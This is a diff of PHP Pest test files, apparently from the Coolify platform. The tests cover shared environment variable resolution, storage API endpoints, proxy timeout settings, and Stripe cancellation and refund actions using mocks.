expect($resolved)->toBe('{{environment.NONEXISTENT}}');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables handles null and empty values', function () {
|
||||
expect(resolveSharedEnvironmentVariables(null, $this->application))->toBeNull();
|
||||
expect(resolveSharedEnvironmentVariables('', $this->application))->toBe('');
|
||||
expect(resolveSharedEnvironmentVariables('plain-value', $this->application))->toBe('plain-value');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables resolves multiple variables in one string', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'HOST',
|
||||
'value' => 'myhost',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'PORT',
|
||||
'value' => '6379',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$resolved = resolveSharedEnvironmentVariables('redis://{{environment.HOST}}:{{environment.PORT}}', $this->application);
|
||||
expect($resolved)->toBe('redis://myhost:6379');
|
||||
});
|
||||
|
||||
test('resolveSharedEnvironmentVariables handles spaces in pattern', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'MY_VAR',
|
||||
'value' => 'resolved-value',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$resolved = resolveSharedEnvironmentVariables('{{ environment.MY_VAR }}', $this->application);
|
||||
expect($resolved)->toBe('resolved-value');
|
||||
});
|
||||
|
||||
test('EnvironmentVariable real_value still resolves shared variables after refactor', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'DRAGONFLY_URL',
|
||||
'value' => 'redis://dragonfly:6379',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'REDIS_URL',
|
||||
'value' => '{{environment.DRAGONFLY_URL}}',
|
||||
'resourceable_id' => $this->application->id,
|
||||
'resourceable_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
expect($env->real_value)->toBe('redis://dragonfly:6379');
|
||||
});
|
||||
@@ -0,0 +1,79 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\SharedEnvironmentVariable;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'admin']);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create([
|
||||
'project_id' => $this->project->id,
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
test('environment shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
|
||||
->set('variables', "MY_VAR=my_value\nANOTHER_VAR=another_value")
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vars = $this->environment->environment_variables()->pluck('value', 'key')->toArray();
|
||||
expect($vars)->toHaveKey('MY_VAR')
|
||||
->and($vars['MY_VAR'])->toBe('my_value')
|
||||
->and($vars)->toHaveKey('ANOTHER_VAR')
|
||||
->and($vars['ANOTHER_VAR'])->toBe('another_value');
|
||||
});
|
||||
|
||||
test('project shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Project\Show::class)
|
||||
->set('variables', 'PROJ_VAR=proj_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vars = $this->project->environment_variables()->pluck('value', 'key')->toArray();
|
||||
expect($vars)->toHaveKey('PROJ_VAR')
|
||||
->and($vars['PROJ_VAR'])->toBe('proj_value');
|
||||
});
|
||||
|
||||
test('team shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Team\Index::class)
|
||||
->set('variables', 'TEAM_VAR=team_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vars = $this->team->environment_variables()->pluck('value', 'key')->toArray();
|
||||
expect($vars)->toHaveKey('TEAM_VAR')
|
||||
->and($vars['TEAM_VAR'])->toBe('team_value');
|
||||
});
|
||||
|
||||
test('environment shared variable dev view updates existing variable', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'EXISTING_VAR',
|
||||
'value' => 'old_value',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'project_id' => $this->project->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
|
||||
->set('variables', 'EXISTING_VAR=new_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$var = $this->environment->environment_variables()->where('key', 'EXISTING_VAR')->first();
|
||||
expect($var->value)->toBe('new_value');
|
||||
});
|
||||
@@ -43,3 +43,15 @@ test('isNonTransientError detects port conflict patterns', function () {
|
||||
->and($method->invoke($action, 'network timeout'))->toBeFalse()
|
||||
->and($method->invoke($action, 'connection refused'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('buildProxyTimeoutConfig normalizes invalid values to default', function (?int $input, string $expected) {
|
||||
$action = new StartDatabaseProxy;
|
||||
$method = new ReflectionMethod($action, 'buildProxyTimeoutConfig');
|
||||
|
||||
expect($method->invoke($action, $input))->toBe($expected);
|
||||
})->with([
|
||||
[null, 'proxy_timeout 3600s;'],
|
||||
[0, 'proxy_timeout 3600s;'],
|
||||
[-10, 'proxy_timeout 3600s;'],
|
||||
[120, 'proxy_timeout 120s;'],
|
||||
]);
|
||||
@@ -0,0 +1,379 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\LocalFileVolume;
|
||||
use App\Models\LocalPersistentVolume;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Bus;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Bus::fake();
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'test-token',
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function createTestApplication($context): Application
|
||||
{
|
||||
return Application::factory()->create([
|
||||
'environment_id' => $context->environment->id,
|
||||
]);
|
||||
}
|
||||
|
||||
function createTestDatabase($context): StandalonePostgresql
|
||||
{
|
||||
return StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $context->environment->id,
|
||||
'destination_id' => $context->destination->id,
|
||||
'destination_type' => $context->destination->getMorphClass(),
|
||||
]);
|
||||
}
|
||||
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
// Application Storage Endpoints
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
|
||||
describe('GET /api/v1/applications/{uuid}/storages', function () {
|
||||
test('lists storages for an application', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson("/api/v1/applications/{$app->uuid}/storages");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonCount(1, 'persistent_storages');
|
||||
$response->assertJsonCount(0, 'file_storages');
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent application', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson('/api/v1/applications/non-existent-uuid/storages');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/applications/{uuid}/storages', function () {
|
||||
test('creates a persistent storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'name' => 'my-volume',
|
||||
'mount_path' => '/data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$vol = LocalPersistentVolume::where('resource_id', $app->id)
|
||||
->where('resource_type', $app->getMorphClass())
|
||||
->first();
|
||||
|
||||
expect($vol)->not->toBeNull();
|
||||
expect($vol->name)->toBe($app->uuid.'-my-volume');
|
||||
expect($vol->mount_path)->toBe('/data');
|
||||
expect($vol->uuid)->not->toBeNull();
|
||||
});
|
||||
|
||||
test('creates a file storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'file',
|
||||
'mount_path' => '/app/config.json',
|
||||
'content' => '{"key": "value"}',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$vol = LocalFileVolume::where('resource_id', $app->id)
|
||||
->where('resource_type', get_class($app))
|
||||
->first();
|
||||
|
||||
expect($vol)->not->toBeNull();
|
||||
expect($vol->mount_path)->toBe('/app/config.json');
|
||||
expect($vol->is_directory)->toBeFalse();
|
||||
});
|
||||
|
||||
test('rejects persistent storage without name', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects invalid type-specific fields', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'name' => 'vol',
|
||||
'mount_path' => '/data',
|
||||
'content' => 'should not be here',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/storages', function () {
|
||||
test('updates a persistent storage by uuid', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'uuid' => $vol->uuid,
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/new-data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect($vol->fresh()->mount_path)->toBe('/new-data');
|
||||
});
|
||||
|
||||
test('updates a persistent storage by id (backwards compat)', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'id' => $vol->id,
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/updated',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect($vol->fresh()->mount_path)->toBe('/updated');
|
||||
});
|
||||
|
||||
test('returns 422 when neither uuid nor id is provided', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/v1/applications/{uuid}/storages/{storage_uuid}', function () {
|
||||
test('deletes a persistent storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->deleteJson("/api/v1/applications/{$app->uuid}/storages/{$vol->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson(['message' => 'Storage deleted.']);
|
||||
expect(LocalPersistentVolume::find($vol->id))->toBeNull();
|
||||
});
|
||||
|
||||
test('finds file storage without type param and calls deleteStorageOnServer', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalFileVolume::create([
|
||||
'fs_path' => '/tmp/test',
|
||||
'mount_path' => '/app/config.json',
|
||||
'content' => '{}',
|
||||
'is_directory' => false,
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => get_class($app),
|
||||
]);
|
||||
|
||||
// Verify the storage is found via fileStorages (not persistentStorages)
|
||||
$freshApp = Application::find($app->id);
|
||||
expect($freshApp->persistentStorages->where('uuid', $vol->uuid)->first())->toBeNull();
|
||||
expect($freshApp->fileStorages->where('uuid', $vol->uuid)->first())->not->toBeNull();
|
||||
expect($vol)->toBeInstanceOf(LocalFileVolume::class);
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->deleteJson("/api/v1/applications/{$app->uuid}/storages/non-existent");
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
// Database Storage Endpoints
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
|
||||
describe('GET /api/v1/databases/{uuid}/storages', function () {
|
||||
test('lists storages for a database', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson("/api/v1/databases/{$db->uuid}/storages");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonStructure(['persistent_storages', 'file_storages']);
|
||||
// Database auto-creates a default persistent volume
|
||||
$response->assertJsonCount(1, 'persistent_storages');
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent database', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson('/api/v1/databases/non-existent-uuid/storages');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/databases/{uuid}/storages', function () {
|
||||
test('creates a persistent storage for a database', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$db->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'name' => 'extra-data',
|
||||
'mount_path' => '/extra',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$vol = LocalPersistentVolume::where('name', $db->uuid.'-extra-data')->first();
|
||||
expect($vol)->not->toBeNull();
|
||||
expect($vol->mount_path)->toBe('/extra');
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases/{uuid}/storages', function () {
|
||||
test('updates a persistent storage by uuid', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $db->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $db->id,
|
||||
'resource_type' => $db->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$db->uuid}/storages", [
|
||||
'uuid' => $vol->uuid,
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/updated',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect($vol->fresh()->mount_path)->toBe('/updated');
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/v1/databases/{uuid}/storages/{storage_uuid}', function () {
|
||||
test('deletes a persistent storage', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $db->uuid.'-test-vol',
|
||||
'mount_path' => '/extra',
|
||||
'resource_id' => $db->id,
|
||||
'resource_type' => $db->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->deleteJson("/api/v1/databases/{$db->uuid}/storages/{$vol->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect(LocalPersistentVolume::find($vol->id))->toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,96 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Stripe\CancelSubscriptionAtPeriodEnd;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Stripe\Service\SubscriptionService;
|
||||
use Stripe\StripeClient;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
config()->set('subscription.provider', 'stripe');
|
||||
config()->set('subscription.stripe_api_key', 'sk_test_fake');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->subscription = Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_test_456',
|
||||
'stripe_customer_id' => 'cus_test_456',
|
||||
'stripe_invoice_paid' => true,
|
||||
'stripe_plan_id' => 'price_test_456',
|
||||
'stripe_cancel_at_period_end' => false,
|
||||
'stripe_past_due' => false,
|
||||
]);
|
||||
|
||||
$this->mockStripe = Mockery::mock(StripeClient::class);
|
||||
$this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
|
||||
$this->mockStripe->subscriptions = $this->mockSubscriptions;
|
||||
});
|
||||
|
||||
describe('CancelSubscriptionAtPeriodEnd', function () {
|
||||
test('cancels subscription at period end successfully', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('update')
|
||||
->with('sub_test_456', ['cancel_at_period_end' => true])
|
||||
->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => true]);
|
||||
|
||||
$action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeTrue();
|
||||
expect($result['error'])->toBeNull();
|
||||
|
||||
$this->subscription->refresh();
|
||||
expect($this->subscription->stripe_cancel_at_period_end)->toBeTruthy();
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeTruthy();
|
||||
});
|
||||
|
||||
test('fails when no subscription exists', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
|
||||
$result = $action->execute($team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('No active subscription');
|
||||
});
|
||||
|
||||
test('fails when subscription is not active', function () {
|
||||
$this->subscription->update(['stripe_invoice_paid' => false]);
|
||||
|
||||
$action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('not active');
|
||||
});
|
||||
|
||||
test('fails when already set to cancel at period end', function () {
|
||||
$this->subscription->update(['stripe_cancel_at_period_end' => true]);
|
||||
|
||||
$action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('already set to cancel');
|
||||
});
|
||||
|
||||
test('handles stripe API error gracefully', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('update')
|
||||
->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
|
||||
|
||||
$action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
expect($result['success'])->toBeFalse();
|
||||
expect($result['error'])->toContain('Stripe error');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,336 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Stripe\RefundSubscription;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Stripe\Service\InvoiceService;
|
||||
use Stripe\Service\RefundService;
|
||||
use Stripe\Service\SubscriptionService;
|
||||
use Stripe\StripeClient;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
config()->set('subscription.provider', 'stripe');
|
||||
config()->set('subscription.stripe_api_key', 'sk_test_fake');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->subscription = Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_test_123',
|
||||
'stripe_customer_id' => 'cus_test_123',
|
||||
'stripe_invoice_paid' => true,
|
||||
'stripe_plan_id' => 'price_test_123',
|
||||
'stripe_cancel_at_period_end' => false,
|
||||
'stripe_past_due' => false,
|
||||
]);
|
||||
|
||||
$this->mockStripe = Mockery::mock(StripeClient::class);
|
||||
$this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
|
||||
$this->mockInvoices = Mockery::mock(InvoiceService::class);
|
||||
$this->mockRefunds = Mockery::mock(RefundService::class);
|
||||
|
||||
$this->mockStripe->subscriptions = $this->mockSubscriptions;
|
||||
$this->mockStripe->invoices = $this->mockInvoices;
|
||||
$this->mockStripe->refunds = $this->mockRefunds;
|
||||
});
|
||||
|
||||
describe('checkEligibility', function () {
|
||||
test('returns eligible when subscription is within 30 days', function () {
|
||||
$periodEnd = now()->addDays(20)->timestamp;
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => $periodEnd,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andReturn($stripeSubscription);
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->checkEligibility($this->team);
|
||||
|
||||
expect($result['eligible'])->toBeTrue();
|
||||
expect($result['days_remaining'])->toBe(20);
|
||||
expect($result['current_period_end'])->toBe($periodEnd);
|
||||
});
|
||||
|
||||
test('returns ineligible when subscription is past 30 days', function () {
|
||||
$periodEnd = now()->addDays(25)->timestamp;
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(35)->timestamp,
|
||||
'current_period_end' => $periodEnd,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andReturn($stripeSubscription);
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->checkEligibility($this->team);
|
||||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['days_remaining'])->toBe(0);
|
||||
expect($result['reason'])->toContain('30-day refund window has expired');
|
||||
expect($result['current_period_end'])->toBe($periodEnd);
|
||||
});
|
||||
|
||||
test('returns ineligible when subscription is not active', function () {
|
||||
$periodEnd = now()->addDays(25)->timestamp;
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'canceled',
|
||||
'start_date' => now()->subDays(5)->timestamp,
|
||||
'current_period_end' => $periodEnd,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andReturn($stripeSubscription);
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->checkEligibility($this->team);
|
||||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['current_period_end'])->toBe($periodEnd);
|
||||
});
|
||||
|
||||
test('returns ineligible when no subscription exists', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->checkEligibility($team);
|
||||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['reason'])->toContain('No active subscription');
|
||||
expect($result['current_period_end'])->toBeNull();
|
||||
});
|
||||
|
||||
test('returns ineligible when invoice is not paid', function () {
|
||||
$this->subscription->update(['stripe_invoice_paid' => false]);
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->checkEligibility($this->team);
|
||||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['reason'])->toContain('not paid');
|
||||
expect($result['current_period_end'])->toBeNull();
|
||||
});
|
||||
|
||||
test('returns ineligible when team has already been refunded', function () {
|
||||
$this->subscription->update(['stripe_refunded_at' => now()->subDays(60)]);
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->checkEligibility($this->team);
|
||||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['reason'])->toContain('already been processed');
|
||||
});
|
||||
|
||||
test('returns ineligible when stripe subscription not found', function () {
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andThrow(new \Stripe\Exception\InvalidRequestException('No such subscription'));
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->checkEligibility($this->team);
|
||||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['reason'])->toContain('not found in Stripe');
|
||||
});
|
||||
});
|
||||
|
||||
describe('execute', function () {
|
||||
test('processes refund successfully', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => now()->addDays(20)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andReturn($stripeSubscription);
|
||||
|
||||
$invoiceCollection = (object) ['data' => [
|
||||
(object) ['payment_intent' => 'pi_test_123'],
|
||||
]];
|
||||
|
||||
$this->mockInvoices
|
||||
->shouldReceive('all')
|
||||
->with([
|
||||
'subscription' => 'sub_test_123',
|
||||
'status' => 'paid',
|
||||
'limit' => 1,
|
||||
])
|
||||
->andReturn($invoiceCollection);
|
||||
|
||||
$this->mockRefunds
|
||||
->shouldReceive('create')
|
||||
->with(['payment_intent' => 'pi_test_123'])
|
||||
->andReturn((object) ['id' => 're_test_123']);
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('cancel')
|
||||
->with('sub_test_123')
|
||||
